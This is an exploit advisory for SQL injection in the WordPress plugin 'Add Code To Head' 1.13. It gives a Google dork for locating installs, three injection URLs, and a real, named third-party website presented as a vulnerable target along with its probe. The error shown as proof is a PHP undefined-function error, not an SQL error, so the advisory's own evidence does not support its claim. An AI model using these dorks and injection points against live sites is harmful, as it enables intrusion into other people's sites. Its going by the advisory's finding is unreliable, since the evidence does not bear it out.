WordPress Add Code To Head Plugins 1.13 SQL Injection

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# Exploit Title : WordPress Add Code To Head upsite_analytics_plugin Plugins 1.13 SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 28/01/2019
# Vendor Homepage : hbjitney.com
# Software Download Link : downloads.wordpress.org/plugin/add-code-to-head.zip
# Software Information Link : wordpress.org/plugins/add-code-to-head/
# Software Version : 1.13
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/plugins/upsite_analytics_plugin/''
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]

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# Description :
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“WordPress Add Code To Head upsite_analytics_plugin” is open source software for WordPress.

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# Impact :
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* WordPress Add Code To Head upsite_analytics_plugin Plugins 1.13 is prone to an

SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied

data before using it in an SQL query.

* Exploiting this issue could allow an attacker to compromise the application, read,

access or modify data, or exploit latent vulnerabilities in the underlying database.

If the webserver is misconfigured, read & write access to the filesystem may be possible.

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# SQL Injection Exploit :
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/wp-content/plugins/upsite_analytics_plugin/add-code-to-head.php?id=[SQL Injection]

/wp-content/plugins/upsite_analytics_plugin/plugin-updates/github-checker.php?id=[SQL Injection]

/wp-content/plugins/upsite_analytics_plugin/uninstall.php?id=[SQL Injection]

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# Example Vulnerable Site :
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[+] tramhaltevenlo.nl/wp-content/plugins/upsite_analytics_plugin/add-code-to-head.php?id=1%27

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# SQL Database Error :
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Fatal error: Uncaught Error: Call to undefined function wp_die() in
/home/tramhaltevenlo/public_html/wp-content/plugins/upsite_analytics_plugin
/uninstall.php:9 Stack trace: #0 {main} thrown in /home/tramhaltevenlo/public_html
/wp-content/plugins/upsite_analytics_plugin/uninstall.php on line 9

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# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

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